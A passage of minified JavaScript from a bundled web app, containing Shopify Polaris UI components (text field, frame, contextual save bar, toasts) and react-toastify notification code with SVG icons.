zl={Connected:"Polaris-Connected",Item:"Polaris-Connected__Item","Item-primary":"Polaris-Connected__Item--primary","Item-focused":"Polaris-Connected__Item--focused"};function Ul(e){var t=e.children,n=e.position,a=rt(!1),o=a.value,i=a.setTrue,l=a.setFalse,s=Xe(zl.Item,o&&zl["Item-focused"],"primary"===n?zl["Item-primary"]:zl["Item-connection"]);return r.createElement("div",{onBlur:l,onFocus:i,className:s},t)}function Wl(e){var t=e.children,n=e.left,a=e.right,o=n?r.createElement(Ul,{position:"left"},n):null,i=a?r.createElement(Ul,{position:"right"},a):null;return r.createElement("div",{className:zl.Connected},o,r.createElement(Ul,{position:"primary"},t),i)}function Vl(e){var t=e.onChange,n=e.onClick,a=e.onMouseDown,o=e.onMouseUp;function i(e){return function(){return t(e)}}function l(e){return function(t){0===t.button&&a(e)}}return r.createElement("div",{className:xl.Spinner,onClick:n,"aria-hidden":!0},r.createElement("div",{role:"button",className:xl.Segment,tabIndex:-1,onClick:i(1),onMouseDown:l(i(1)),onMouseUp:o},r.createElement("div",{className:xl.SpinnerIcon},r.createElement(zt,{source:ea}))),r.createElement("div",{role:"button",className:xl.Segment,tabIndex:-1,onClick:i(-1),onMouseDown:l(i(-1)),onMouseUp:o},r.createElement("div",{className:xl.SpinnerIcon},r.createElement(zt,{source:Xr}))))}function ql(e){var t=e.contents,n=e.currentHeight,a=void 0===n?null:n,o=e.minimumLines,i=e.onHeightChange,l=(0,r.useRef)(null),s=(0,r.useRef)(null),u=(0,r.useRef)(),c=(0,r.useRef)(a);a!==c.current&&(c.current=a),(0,r.useEffect)((function(){return function(){u.current&&cancelAnimationFrame(u.current)}}),[]);var d=o?r.createElement("div",{ref:s,className:xl.DummyInput,dangerouslySetInnerHTML:{__html:$l(o)}}):null,f=(0,r.useCallback)((function(){u.current&&cancelAnimationFrame(u.current),u.current=requestAnimationFrame((function(){if(l.current&&s.current){var e=Math.max(l.current.offsetHeight,s.current.offsetHeight);e!==c.current&&i(e)}}))}),[i]);return(0,r.useLayoutEffect)((function(){f()})),r.createElement("div",{"aria-hidden":!0,className:xl.Resizer},r.createElement(Te,{event:"resize",handler:f}),r.createElement("div",{ref:l,className:xl.DummyInput,dangerouslySetInnerHTML:{__html:Yl(t)}}),d)}var Zl={"&":"&","<":"<",">":">","\n":"
","\r":""},Kl=new RegExp("[".concat(Object.keys(Zl).join(),"]"),"g");function Gl(e){return Zl[e]}function $l(e){for(var t="",n=0;n";return t}function Yl(e){return e?"".concat(e.replace(Kl,Gl),"
"):"
"}function Ql(e){var t=e.prefix,n=e.suffix,a=e.placeholder,o=e.value,i=e.helpText,s=e.label,u=e.labelAction,c=e.labelHidden,d=e.disabled,f=e.clearButton,p=e.readOnly,h=e.autoFocus,m=e.focused,v=e.multiline,g=e.error,b=e.connectedRight,y=e.connectedLeft,w=e.type,x=e.name,E=e.id,S=e.role,k=e.step,_=e.autoComplete,C=e.max,P=e.maxLength,N=e.maxHeight,T=e.min,A=e.minLength,M=e.pattern,L=e.inputMode,O=e.spellCheck,F=e.ariaOwns,I=e.ariaControls,j=e.ariaExpanded,R=e.ariaActiveDescendant,B=e.ariaAutocomplete,D=e.showCharacterCount,H=e.align,z=e.onClearButtonClick,U=e.onChange,W=e.onFocus,V=e.onBlur,q=e.requiredIndicator,Z=e.monospaced,K=jt(),G=ne((0,r.useState)(null),2),$=G[0],Y=G[1],Q=ne((0,r.useState)(Boolean(m)),2),X=Q[0],J=Q[1],ee=na(),te=qe("TextField",E),re=(0,r.useRef)(null),ae=(0,r.useRef)(null),oe=(0,r.useRef)(null),ie=(0,r.useRef)();(0,r.useEffect)((function(){var e=re.current;e&&void 0!==m&&(m?e.focus():e.blur())}),[m]);var le="string"===typeof o?o:"",se=null!=k?k:1,ue=null!=C?C:1/0,ce=null!=T?T:-1/0,de=Xe(xl.TextField,Boolean(le)&&xl.hasValue,d&&xl.disabled,p&&xl.readOnly,g&&xl.error,v&&xl.multiline,X&&xl.focus),fe="currency"===w?"text":w,pe=t?r.createElement("div",{className:xl.Prefix,id:"".concat(te,"Prefix"),ref:ae},t):null,he=n?r.createElement("div",{className:xl.Suffix,id:"".concat(te,"Suffix"),ref:oe},n):null,me=null;if(D){var ve=le.length,ge=P?K.translate("Polaris.TextField.characterCountWithMaxLength",{count:ve,limit:P}):K.translate("Polaris.TextField.characterCount",{count:ve}),be=Xe(xl.CharacterCount,v&&xl.AlignFieldBottom),ye=P?"".concat(ve,"/").concat(P):ve;me=r.createElement("div",{id:"".concat(te,"CharacterCounter"),className:be,"aria-label":ge,"aria-live":X?"polite":"off","aria-atomic":"true"},ye)}var we=Xe(xl.ClearButton,!(""!==le)&&xl.Hidden),xe=f?r.createElement("button",{type:"button",className:we,onClick:function(){z&&z(te)},disabled:d},r.createElement(Dt,null,K.translate("Polaris.Common.clear")),r.createElement(zt,{source:Pt,color:"base"})):null,Ee=(0,r.useCallback)((function(e){if(null!=U){var t=function(e){return(e.toString().split(".")[1]||[]).length},n=o?parseFloat(o):0;if(!isNaN(n)){var r=Math.max(t(n),t(se)),a=Math.min(Number(ue),Math.max(n+e*se,Number(ce)));U(String(a.toFixed(r)),te)}}}),[te,ue,ce,U,se,o]),Se=(0,r.useCallback)((function(){clearTimeout(ie.current)}),[]),ke=(0,r.useCallback)((function(e){var t=200;ie.current=window.setTimeout((function n(){t>50&&(t-=10),e(0),ie.current=window.setTimeout(n,t)}),t),document.addEventListener("mouseup",Se,{once:!0})}),[Se]),_e="number"!==w||0===k||d||p?null:r.createElement(Vl,{onChange:Ee,onMouseDown:ke,onMouseUp:Se}),Ce=v&&$?{height:$,maxHeight:N}:null,Pe=(0,r.useCallback)((function(e){Y(e)}),[]),Ne=v&&ee?r.createElement(ql,{contents:le||a,currentHeight:$,minimumLines:"number"===typeof v?v:1,onHeightChange:Pe}):null,Te=[];g&&Te.push("".concat(te,"Error")),i&&Te.push(Hl(te)),D&&Te.push("".concat(te,"CharacterCounter"));var Ae=[];t&&Ae.push("".concat(te,"Prefix")),n&&Ae.push("".concat(te,"Suffix")),Ae.unshift(jl(te));var Me=Xe(xl.Input,H&&xl[Je("Input-align",H)],n&&xl["Input-suffixed"],f&&xl["Input-hasClearButton"],Z&&xl.monospaced),Le=(0,r.createElement)(v?"textarea":"input",l({name:x,id:te,disabled:d,readOnly:p,role:S,autoFocus:h,value:le,placeholder:a,onFocus:W,onBlur:V,onKeyPress:function(e){var t=e.key,n=e.which;if("number"!==w||n===Hn.Enter||/[\d.eE+-]$/.test(t))return;e.preventDefault()},style:Ce,autoComplete:_,className:Me,onChange:function(e){U&&U(e.currentTarget.value,te)},ref:re,min:T,max:C,step:k,minLength:A,maxLength:P,spellCheck:O,pattern:M,inputMode:L,type:fe,"aria-describedby":Te.length?Te.join(" "):void 0,"aria-labelledby":Ae.join(" "),"aria-invalid":Boolean(g),"aria-owns":F,"aria-activedescendant":R,"aria-autocomplete":B,"aria-controls":I,"aria-expanded":j,"aria-required":q},function(e){return e&&(Boolean(e)||e>0)?{"aria-multiline":!0}:void 0}(v))),Oe=Xe(xl.Backdrop,y&&xl["Backdrop-connectedLeft"],b&&xl["Backdrop-connectedRight"]);return r.createElement(Dl,{label:s,id:te,error:g,action:u,labelHidden:c,helpText:i,requiredIndicator:q},r.createElement(Wl,{left:y,right:b},r.createElement("div",{className:de,onFocus:function(e){if(Fe(e.target))return;J(!0)},onBlur:function(){J(!1)},onClick:function(e){var t;if(Fe(e.target)||X)return;null===(t=re.current)||void 0===t||t.focus()}},pe,Le,he,me,xe,_e,r.createElement("div",{className:Oe}),Ne)));function Fe(e){return e instanceof HTMLElement&&(ae.current&&ae.current.contains(e)||oe.current&&oe.current.contains(e))}}function Xl(e,t,n){if(null!=document){var r=n&&n instanceof HTMLElement?n:document.documentElement;r&&r.style.setProperty(e,t)}}var Jl="Polaris-Frame",es="Polaris-Frame__Navigation",ts="Polaris-Frame--hasTopBar",ns="Polaris-Frame__Navigation--enter",rs="Polaris-Frame__Navigation--enterActive",as="Polaris-Frame__Navigation--exit",os="Polaris-Frame__Navigation--exitActive",is="Polaris-Frame__NavigationDismiss",ls="Polaris-Frame__Navigation--visible",ss="Polaris-Frame__TopBar",us="Polaris-Frame__ContextualSaveBar",cs="Polaris-Frame__Main",ds="Polaris-Frame--hasNav",fs="Polaris-Frame__Content",ps="Polaris-Frame__GlobalRibbonContainer",hs="Polaris-Frame__LoadingBar",ms="Polaris-Frame__Skip",vs="Polaris-Frame--focused";var gs="Polaris-Frame-Loading",bs="Polaris-Frame-Loading__Level";function ys(){var e=jt(),t=function(){var e=(0,r.useRef)(!1);return(0,r.useEffect)((function(){return e.current=!0,function(){e.current=!1}}),[]),e}(),n=ne((0,r.useState)(0),2),a=n[0],o=n[1],i=ne((0,r.useState)(!1),2),l=i[0],s=i[1];(0,r.useEffect)((function(){a>=99||l||requestAnimationFrame((function(){if(t.current){var e=Math.max((99-a)/10,1);s(!0),o(a+e)}}))}),[a,l,t]);var u={transform:"scaleX(".concat(Math.floor(a)/100,")")};return r.createElement("div",{className:gs,"aria-valuenow":a,"aria-valuemin":0,"aria-valuemax":100,role:"progressbar","aria-label":e.translate("Polaris.Loading.label")},r.createElement("div",{className:bs,style:u,onTransitionEnd:function(){return s(!1)}}))}var ws,xs={startFade:"Polaris-Frame-CSSAnimation--startFade",endFade:"Polaris-Frame-CSSAnimation--endFade"};function Es(e){var t=e.in,n=e.className,a=e.type,o=e.children,i=ne((0,r.useState)(t?ws.Entering:ws.Exited),2),l=i[0],s=i[1],u=(0,r.useRef)(!1),c=(0,r.useRef)(null);(0,r.useEffect)((function(){u.current&&l===ws.Entering&&p(ws.Entered)}),[l]),(0,r.useEffect)((function(){u.current&&(t&&p(ws.Entering),!t&&p(ws.Exiting))}),[t]),(0,r.useEffect)((function(){u.current=!0}),[]);var d=Xe(n,xs[Je("start",a)],t&&xs[Je("end",a)]),f=l!==ws.Exited||t?o:null;return r.createElement("div",{className:d,ref:c,onTransitionEnd:function(){l===ws.Exiting&&p(ws.Exited)}},f);function p(e){s(e),e===ws.Entering&&c.current&&c.current.getBoundingClientRect()}}!function(e){e.Entering="entering",e.Entered="entered",e.Exiting="exiting",e.Exited="exited"}(ws||(ws={}));var Ss="Polaris-Frame-ContextualSaveBar",ks="Polaris-Frame-ContextualSaveBar__LogoContainer",_s="Polaris-Frame-ContextualSaveBar__ContextControl",Cs="Polaris-Frame-ContextualSaveBar__Message",Ps="Polaris-Frame-ContextualSaveBar__Contents",Ns="Polaris-Frame-ContextualSaveBar--fullWidth",Ts="Polaris-Frame-ContextualSaveBar__ActionContainer";function As(e){var t=e.open,n=e.onDiscard,a=e.onCancel,o=jt();return r.createElement(ll,{title:o.translate("Polaris.DiscardConfirmationModal.title"),open:t,onClose:a,primaryAction:{content:o.translate("Polaris.DiscardConfirmationModal.primaryAction"),destructive:!0,onAction:n},secondaryActions:[{content:o.translate("Polaris.DiscardConfirmationModal.secondaryAction"),onAction:a}],sectioned:!0},o.translate("Polaris.DiscardConfirmationModal.message"))}function Ms(e){var t,n=e.alignContentFlush,a=e.message,o=e.saveAction,i=e.discardAction,l=e.fullWidth,s=e.contextControl,u=jt(),c=za().logo,d=rt(!1),f=d.value,p=d.toggle,h=d.setFalse,m=(0,r.useCallback)((function(){i&&i.onAction&&i.onAction(),h()}),[h,i]),v=i&&i.content?i.content:u.translate("Polaris.ContextualSaveBar.discard");i&&i.discardConfirmationModal?t=p:i&&(t=i.onAction);var g=i&&i.onAction&&i.discardConfirmationModal&&r.createElement(As,{open:f,onCancel:p,onDiscard:m}),b=i&&r.createElement(Ma,{url:i.url,onClick:t,loading:i.loading,disabled:i.disabled,accessibilityLabel:i.content},v),y=o&&o.content?o.content:u.translate("Polaris.ContextualSaveBar.save"),w=o&&r.createElement(Ma,{primary:!0,url:o.url,onClick:o.onAction,loading:o.loading,disabled:o.disabled,accessibilityLabel:o.content},y),x=nt(c,104),E=c&&r.createElement(Ba,{style:{width:x},source:c.contextualSaveBarSource||"",alt:""}),S=n||s?null:r.createElement("div",{className:ks,style:{width:x}},E),k=s?r.createElement("div",{className:_s},s):null,_=Xe(Ps,l&&Ns);return r.createElement(r.Fragment,null,r.createElement(_e,{theme:{colorScheme:"inverse"}},r.createElement("div",{className:Ss},k,S,r.createElement("div",{className:_},r.createElement("h2",{className:Cs},a),r.createElement("div",{className:Ts},r.createElement(Vr,{spacing:"tight",wrap:!1},b,w))))),g)}var Ls="Polaris-Frame-ToastManager",Os="Polaris-Frame-ToastManager__ToastWrapper",Fs="Polaris-Frame-ToastManager__ToastWrapper--enter",Is="Polaris-Frame-ToastManager__ToastWrapper--exit",js="Polaris-Frame-ToastManager--toastWrapperEnterDone",Rs="Polaris-Frame-Toast",Bs="Polaris-Frame-Toast__Action",Ds="Polaris-Frame-Toast--error",Hs="Polaris-Frame-Toast__CloseButton";function zs(e){var t=e.content,n=e.onDismiss,a=e.duration,o=e.error,i=e.action;(0,r.useEffect)((function(){var e=a||5e3;i&&!a?e=1e4:i&&a&&a<1e4&&console.log("Toast with action should persist for at least 10,000 milliseconds to give the merchant enough time to act on it.");var t=setTimeout(n,e);return function(){clearTimeout(t)}}),[i,a,n]);var l=r.createElement("button",{type:"button",className:Hs,onClick:n},r.createElement(zt,{source:Bi})),s=i?r.createElement("div",{className:Bs},r.createElement(Ma,{plain:!0,monochrome:!0,onClick:i.onAction},i.content)):null,u=Xe(Rs,o&&Ds);return r.createElement(_e,{theme:{colorScheme:"inverse"}},r.createElement("div",{className:u},r.createElement(cr,{keyCode:Hn.Escape,handler:n}),t,s,l))}var Us,Ws=(0,r.memo)((function(e){var t,n,a,o=e.toastMessages,i=[],l=(t=function(){var e=0;o.forEach((function(t,n){var r=i[n];r.current&&(e+=r.current.clientHeight,r.current.style.setProperty("--toast-translate-y-in","-".concat(e,"px")),r.current.style.setProperty("--toast-translate-y-out","".concat(150-e,"px")))}))},n=[o,i],(0,r.useCallback)(t,He(n,a)));ze((function(){l()}),[o]);var s=o.map((function(e,t){var n=(0,r.createRef)();return i[t]=n,r.createElement(mi,{nodeRef:i[t],key:e.id,timeout:{enter:0,exit:400},classNames:Vs},r.createElement("div",{ref:n},r.createElement(zs,e)))}));return r.createElement(Rn,null,r.createElement(Te,{event:"resize",handler:l}),r.createElement("div",{className:Ls,"aria-live":"assertive"},r.createElement(Xo,{component:null},s)))})),Vs={enter:Xe(Os,Fs),enterDone:Xe(Os,js),exit:Xe(Os,Is)},qs="--global-ribbon-height",Zs="AppFrameMain",Ks=function(e){h(n,e);var t=w(n);function n(){var e;(0,d.Z)(this,n);for(var a=arguments.length,o=new Array(a),i=0;i0?r.createElement("div",{className:hs,id:"AppFrameLoadingBar"},r.createElement(ys,null)):null,k=r.createElement(Es,{in:o,className:us,type:"fade"},r.createElement(Ms,this.contextualSaveBar)),_=c?r.createElement("div",Object.assign({className:ss},N.props,A,{id:"AppFrameTopBar"}),c):null,C=d?r.createElement("div",{className:ps,ref:this.setGlobalRibbonContainer},d):null,P=Xe(ms,t&&vs),T=null!==h&&void 0!==h&&h.current?h.current.id:Zs,M=r.createElement("div",{className:P},r.createElement("a",{href:"#".concat(T),onFocus:this.handleFocus,onBlur:this.handleBlur,onClick:this.handleClick},m.translate("Polaris.Frame.skipToContent"))),L=u?{"data-has-navigation":!0}:{},O=Xe(Jl,u&&ds,c&&ts),F=p&&v?r.createElement(il,{belowNavigation:!0,onClick:this.handleNavigationDismiss,onTouchStart:this.handleNavigationDismiss}):null,I={showToast:this.showToast,hideToast:this.hideToast,startLoading:this.startLoading,stopLoading:this.stopLoading,setContextualSaveBar:this.setContextualSaveBar,removeContextualSaveBar:this.removeContextualSaveBar};return r.createElement(Ze.Provider,{value:I},r.createElement("div",Object.assign({className:O},N.props,L),M,_,E,k,S,F,r.createElement("main",{className:cs,id:Zs,"data-has-global-ribbon":Boolean(d)},r.createElement("div",{className:fs},s)),r.createElement(Ws,{toastMessages:a}),C,r.createElement(Te,{event:"resize",handler:this.handleResize})))}}]),n}(r.PureComponent),Gs={enter:Xe(ns),enterActive:Xe(rs),enterDone:Xe(rs),exit:Xe(as),exitActive:Xe(os)};function $s(e){var t=jt(),n=Lo();return r.createElement(Ks,Object.assign({},e,{i18n:t,mediaQuery:n}))}var Ys,Qs,Xs,Js=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Us||(Us=r.createElement("path",{d:"M18 7.261V17.5c0 .841-.672 1.5-1.5 1.5h-2c-.828 0-1.5-.659-1.5-1.5V13H7v4.477C7 18.318 6.328 19 5.5 19h-2c-.828 0-1.5-.682-1.5-1.523V7.261a1.5 1.5 0 0 1 .615-1.21l6.59-4.82a1.481 1.481 0 0 1 1.59 0l6.59 4.82A1.5 1.5 0 0 1 18 7.26z"})))},eu=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Ys||(Ys=r.createElement("path",{d:"M15.284 14.546A2.975 2.975 0 0 1 17 14c1.654 0 3 1.346 3 3s-1.346 3-3 3-3-1.346-3-3a2.94 2.94 0 0 1 .129-.822l-1.575-1.125A3.964 3.964 0 0 1 10 16a3.964 3.964 0 0 1-2.554-.947l-1.575 1.125c.076.262.129.535.129.822 0 1.654-1.346 3-3 3s-3-1.346-3-3 1.346-3 3-3c.615 0 1.214.191 1.716.546l1.56-1.114A3.97 3.97 0 0 1 6 12c0-1.858 1.28-3.411 3-3.858V5.815A2.993 2.993 0 0 1 7 3c0-1.654 1.346-3 3-3s3 1.346 3 3a2.996 2.996 0 0 1-2 2.816v2.326c1.72.447 3 2 3 3.858-.003.49-.096.976-.276 1.432l1.56 1.114zm1.037 3.146A1 1 0 0 0 17 18a1 1 0 0 0 0-2 1 1 0 0 0-.679 1.692zm-14 0A1 1 0 0 0 3 18a1 1 0 0 0 0-2 1 1 0 0 0-.679 1.692zM11 3c0-.551-.449-1-1-1-.551 0-1 .449-1 1 0 .551.449 1 1 1 .551 0 1-.449 1-1z"})))},tu=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Qs||(Qs=r.createElement("path",{fillRule:"evenodd",d:"M10 0C4.486 0 0 4.486 0 10c0 1.728.45 3.42 1.304 4.924L.101 17.965c-.458 1.209.726 2.393 1.935 1.934l3.04-1.204A9.944 9.944 0 0 0 10 20c5.514 0 10-4.486 10-10S15.514 0 10 0zM5.293 9.293a.997.997 0 0 1 1.414 0 .997.997 0 0 1 0 1.414.997.997 0 0 1-1.414 0 .997.997 0 0 1 0-1.414zm4 0a.997.997 0 0 1 1.414 0 .997.997 0 0 1 0 1.414 1.003 1.003 0 0 1-1.414 0 1.003 1.003 0 0 1 0-1.414zM14 9a.997.997 0 0 0-1 1 .997.997 0 0 0 1 1 .997.997 0 0 0 1-1 .997.997 0 0 0-1-1z"})))},nu=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Xs||(Xs=r.createElement("path",{d:"M3.415.189a1 1 0 0 1 1.1-.046l15 9a1 1 0 0 1 0 1.714l-15 9a1 1 0 0 1-1.491-1.074L4.754 11H10a1 1 0 1 0 0-2H4.753l-1.73-7.783A1 1 0 0 1 3.416.189z"})))},ru="Polaris-Subheading";function au(e){var t=e.element,n=void 0===t?"h3":t,a=e.children,o="string"===typeof a?a:void 0;return r.createElement(n,{"aria-label":o,className:ru},a)}var ou=n(4569),iu=n.n(ou);function lu(e){var t,n,r="";if("string"===typeof e||"number"===typeof e)r+=e;else if("object"===typeof e)if(Array.isArray(e))for(t=0;t=0||(a[n]=e[n]);return a}function du(e){return"number"===typeof e&&!isNaN(e)}function fu(e){return"boolean"===typeof e}function pu(e){return"string"===typeof e}function hu(e){return"function"===typeof e}function mu(e){return pu(e)||hu(e)?e:null}function vu(e){return 0===e||e}var gu=!("undefined"===typeof window||!window.document||!window.document.createElement);function bu(e){return(0,r.isValidElement)(e)||pu(e)||hu(e)||du(e)}var yu={TOP_LEFT:"top-left",TOP_RIGHT:"top-right",TOP_CENTER:"top-center",BOTTOM_LEFT:"bottom-left",BOTTOM_RIGHT:"bottom-right",BOTTOM_CENTER:"bottom-center"},wu={INFO:"info",SUCCESS:"success",WARNING:"warning",ERROR:"error",DEFAULT:"default"};function xu(e){var t=e.enter,n=e.exit,a=e.appendPosition,o=void 0!==a&&a,i=e.collapse,l=void 0===i||i,s=e.collapseDuration,u=void 0===s?300:s;return function(e){var a=e.children,i=e.position,s=e.preventExitTransition,c=e.done,d=e.nodeRef,f=e.isIn,p=o?t+"--"+i:t,h=o?n+"--"+i:n,m=(0,r.useRef)(),v=(0,r.useRef)(0);function g(e){if(e.target===d.current){var t=d.current;t.removeEventListener("animationend",g),0===v.current&&(t.className=m.current)}}function b(){var e=d.current;e.removeEventListener("animationend",b),l?function(e,t,n){void 0===n&&(n=300);var r=e.scrollHeight,a=e.style;requestAnimationFrame((function(){a.minHeight="initial",a.height=r+"px",a.transition="all "+n+"ms",requestAnimationFrame((function(){a.height="0",a.padding="0",a.margin="0",setTimeout(t,n)}))}))}(e,c,u):c()}return(0,r.useLayoutEffect)((function(){!function(){var e=d.current;m.current=e.className,e.className+=" "+p,e.addEventListener("animationend",g)}()}),[]),(0,r.useEffect)((function(){f||(s?b():function(){v.current=1;var e=d.current;e.className+=" "+h,e.addEventListener("animationend",b)}())}),[f]),r.createElement(r.Fragment,null,a)}}var Eu={list:new Map,emitQueue:new Map,on:function(e,t){return this.list.has(e)||this.list.set(e,[]),this.list.get(e).push(t),this},off:function(e,t){if(t){var n=this.list.get(e).filter((function(e){return e!==t}));return this.list.set(e,n),this}return this.list.delete(e),this},cancelEmit:function(e){var t=this.emitQueue.get(e);return t&&(t.forEach(clearTimeout),this.emitQueue.delete(e)),this},emit:function(e){for(var t=this,n=arguments.length,r=new Array(n>1?n-1:0),a=1;a0?E:S),hideProgressBar:fu(f.hideProgressBar)?f.hideProgressBar:y.hideProgressBar,progress:f.progress,role:pu(f.role)?f.role:y.role,deleteToast:function(){!function(e){delete u[e];var n=s.length;(l=vu(e)?l-1:l-c.displayedToast)<0&&(l=0);if(n>0){var r=vu(e)?1:c.props.limit;if(1===n||1===r)c.displayedToast++,h();else{var a=r>n?n:r;c.displayedToast=a;for(var o=0;o0&&l>y.limit&&x?s.push({toastContent:C,toastProps:k,staleId:d}):du(o)&&o>0?setTimeout((function(){v(C,k,d)}),o):v(C,k,d)}}function v(e,t,n){var r=t.toastId;n&&delete u[n],u[r]={content:e,props:t},o({type:0,toastId:r,staleId:n})}return(0,r.useEffect)((function(){return c.containerId=e.containerId,Eu.cancelEmit(3).on(0,m).on(1,(function(e){return i.current&&p(e)})).on(5,f).emit(2,c),function(){return Eu.emit(3,c)}}),[]),(0,r.useEffect)((function(){c.isToastActive=d,c.displayedToast=a.length,Eu.emit(4,a.length,e.containerId)}),[a]),(0,r.useEffect)((function(){c.props=e})),{getToastToRender:function(t){for(var n={},r=e.newestOnTop?Object.keys(u).reverse():Object.keys(u),a=0;a=1?e.targetTouches[0].clientX:e.clientX}function Nu(e){return e.targetTouches&&e.targetTouches.length>=1?e.targetTouches[0].clientY:e.clientY}function Tu(e){var t=(0,r.useState)(!0),n=t[0],a=t[1],o=(0,r.useState)(!1),i=o[0],l=o[1],s=(0,r.useRef)(null),u=Su({start:0,x:0,y:0,delta:0,removalDistance:0,canCloseOnClick:!0,canDrag:!1,boundingRect:null}),c=Su(e,!0),d=e.autoClose,f=e.pauseOnHover,p=e.closeToast,h=e.onClick,m=e.closeOnClick;function v(t){if(e.draggable){var n=s.current;u.canCloseOnClick=!0,u.canDrag=!0,u.boundingRect=n.getBoundingClientRect(),n.style.transition="",u.x=Pu(t.nativeEvent),u.y=Nu(t.nativeEvent),"x"===e.draggableDirection?(u.start=u.x,u.removalDistance=n.offsetWidth*(e.draggablePercent/100)):(u.start=u.y,u.removalDistance=n.offsetHeight*(e.draggablePercent/100))}}function g(){if(u.boundingRect){var t=u.boundingRect,n=t.top,r=t.bottom,a=t.left,o=t.right;e.pauseOnHover&&u.x>=a&&u.x<=o&&u.y>=n&&u.y<=r?y():b()}}function b(){a(!0)}function y(){a(!1)}function w(t){if(u.canDrag){t.preventDefault();var r=s.current;n&&y(),u.x=Pu(t),u.y=Nu(t),"x"===e.draggableDirection?u.delta=u.x-u.start:u.delta=u.y-u.start,u.start!==u.x&&(u.canCloseOnClick=!1),r.style.transform="translate"+e.draggableDirection+"("+u.delta+"px)",r.style.opacity=""+(1-Math.abs(u.delta/u.removalDistance))}}function x(){var t=s.current;if(u.canDrag){if(u.canDrag=!1,Math.abs(u.delta)>u.removalDistance)return l(!0),void e.closeToast();t.style.transition="transform 0.2s, opacity 0.2s",t.style.transform="translate"+e.draggableDirection+"(0)",t.style.opacity="1"}}(0,r.useEffect)((function(){return hu(e.onOpen)&&e.onOpen((0,r.isValidElement)(e.children)&&e.children.props),function(){hu(c.onClose)&&c.onClose((0,r.isValidElement)(c.children)&&c.children.props)}}),[]),(0,r.useEffect)((function(){return e.draggable&&(document.addEventListener("mousemove",w),document.addEventListener("mouseup",x),document.addEventListener("touchmove",w),document.addEventListener("touchend",x)),function(){e.draggable&&(document.removeEventListener("mousemove",w),document.removeEventListener("mouseup",x),document.removeEventListener("touchmove",w),document.removeEventListener("touchend",x))}}),[e.draggable]),(0,r.useEffect)((function(){return e.pauseOnFocusLoss&&function(){document.hasFocus()||y();window.addEventListener("focus",b),window.addEventListener("blur",y)}(),function(){e.pauseOnFocusLoss&&(window.removeEventListener("focus",b),window.removeEventListener("blur",y))}}),[e.pauseOnFocusLoss]);var E={onMouseDown:v,onTouchStart:v,onMouseUp:g,onTouchEnd:g};return d&&f&&(E.onMouseEnter=y,E.onMouseLeave=b),m&&(E.onClick=function(e){h&&h(e),u.canCloseOnClick&&p()}),{playToast:b,pauseToast:y,isRunning:n,preventExitTransition:i,toastRef:s,eventHandlers:E}}function Au(e){var t=e.closeToast,n=e.theme,a=e.ariaLabel,o=void 0===a?"close":a;return(0,r.createElement)("button",{className:"Toastify__close-button Toastify__close-button--"+n,type:"button",onClick:function(e){e.stopPropagation(),t(e)},"aria-label":o},(0,r.createElement)("svg",{"aria-hidden":"true",viewBox:"0 0 14 16"},(0,r.createElement)("path",{fillRule:"evenodd",d:"M7.71 8.23l3.75 3.75-1.48 1.48-3.75-3.75-3.75 3.75L1 11.98l3.75-3.75L1 4.48 2.48 3l3.75 3.75L9.98 3l1.48 1.48-3.75 3.75z"})))}function Mu(e){var t,n,a=e.delay,o=e.isRunning,i=e.closeToast,l=e.type,s=e.hide,u=e.className,c=e.style,d=e.controlledProgress,f=e.progress,p=e.rtl,h=e.isIn,m=e.theme,v=uu({},c,{animationDuration:a+"ms",animationPlayState:o?"running":"paused",opacity:s?0:1});d&&(v.transform="scaleX("+f+")");var g=su("Toastify__progress-bar",d?"Toastify__progress-bar--controlled":"Toastify__progress-bar--animated","Toastify__progress-bar-theme--"+m,"Toastify__progress-bar--"+l,((t={})["Toastify__progress-bar--rtl"]=p,t)),b=hu(u)?u({rtl:p,type:l,defaultClassName:g}):su(g,u),y=((n={})[d&&f>=1?"onTransitionEnd":"onAnimationEnd"]=d&&f<1?null:function(){h&&i()},n);return(0,r.createElement)("div",Object.assign({role:"progressbar","aria-hidden":s?"true":"false","aria-label":"notification timer",className:b,style:v},y))}Mu.defaultProps={type:wu.DEFAULT,hide:!1};var Lu=["theme","type"],Ou=function(e){var t=e.theme,n=e.type,a=cu(e,Lu);return r.createElement("svg",Object.assign({viewBox:"0 0 24 24",width:"100%",height:"100%",fill:"colored"===t?"currentColor":"var(--toastify-icon-color-"+n+")"},a))};var Fu={info:function(e){return r.createElement(Ou,Object.assign({},e),r.createElement("path",{d:"M12 0a12 12 0 1012 12A12.013 12.013 0 0012 0zm.25 5a1.5 1.5 0 11-1.5 1.5 1.5 1.5 0 011.5-1.5zm2.25 13.5h-4a1 1 0 010-2h.75a.25.25 0 00.25-.25v-4.5a.25.25 0 00-.25-.25h-.75a1 1 0 010-2h1a2 2 0 012 2v4.75a.25.25 0 00.25.25h.75a1 1 0 110 2z"}))},warning:function(e){return r.createElement(Ou,Object.assign({},e),r.createElement("path",{d:"M23.32 17.191L15.438 2.184C14.728.833 13.416 0 11.996 0c-1.42 0-2.733.833-3.443 2.184L.533 17.448a4.744 4.744 0 000 4.368C1.243 23.167 2.555 24 3.975 24h16.05C22.22 24 24 22.044 24 19.632c0-.904-.251-1.746-.68-2.44zm-9.622 1.46c0 1.033-.724 1.823-1.698 1.823s-1.698-.79-1.698-1.822v-.043c0-1.028.724-1.822 1.698-1.822s1.698.79 1.698 1.822v.043zm.039-12.285l-.84 8.06c-.057.581-.408.943-.897.943-.49 0-.84-.367-.896-.942l-.84-8.065c-.057-.624.25-1.095.779-1.095h1.91c.528.005.84.476.784 1.1z"}))},success:function(e){return r.createElement(Ou,Object.assign({},e),r.createElement("path",{d:"M12 0a12 12 0 1012 12A12.014 12.014 0 0012 0zm6.927 8.2l-6.845 9.289a1.011 1.011 0 01-1.43.188l-4.888-3.908a1 1 0 111.25-1.562l4.076 3.261 6.227-8.451a1 1 0 111.61 1.183z"}))},error:function(e){return r.createElement(Ou,Object.assign({},e),r.createElement("path",{d:"M11.983 0a12.206 12.206 0 00-8.51 3.653A11.8 11.8 0 000 12.207 11.779 11.779 0 0011.8 24h.214A12.111 12.111 0 0024 11.791 11.766 11.766 0 0011.983 0zM10.5 16.542a1.476 1.476 0 011.449-1.53h.027a1.527 1.527 0 011.523 1.47 1.475 1.475 0 01-1.449 1.53h-.027a1.529 1.529 0 01-1.523-1.47zM11 12.5v-6a1 1 0 012 0v6a1 1 0 11-2 0z"}))},spinner:function(){return 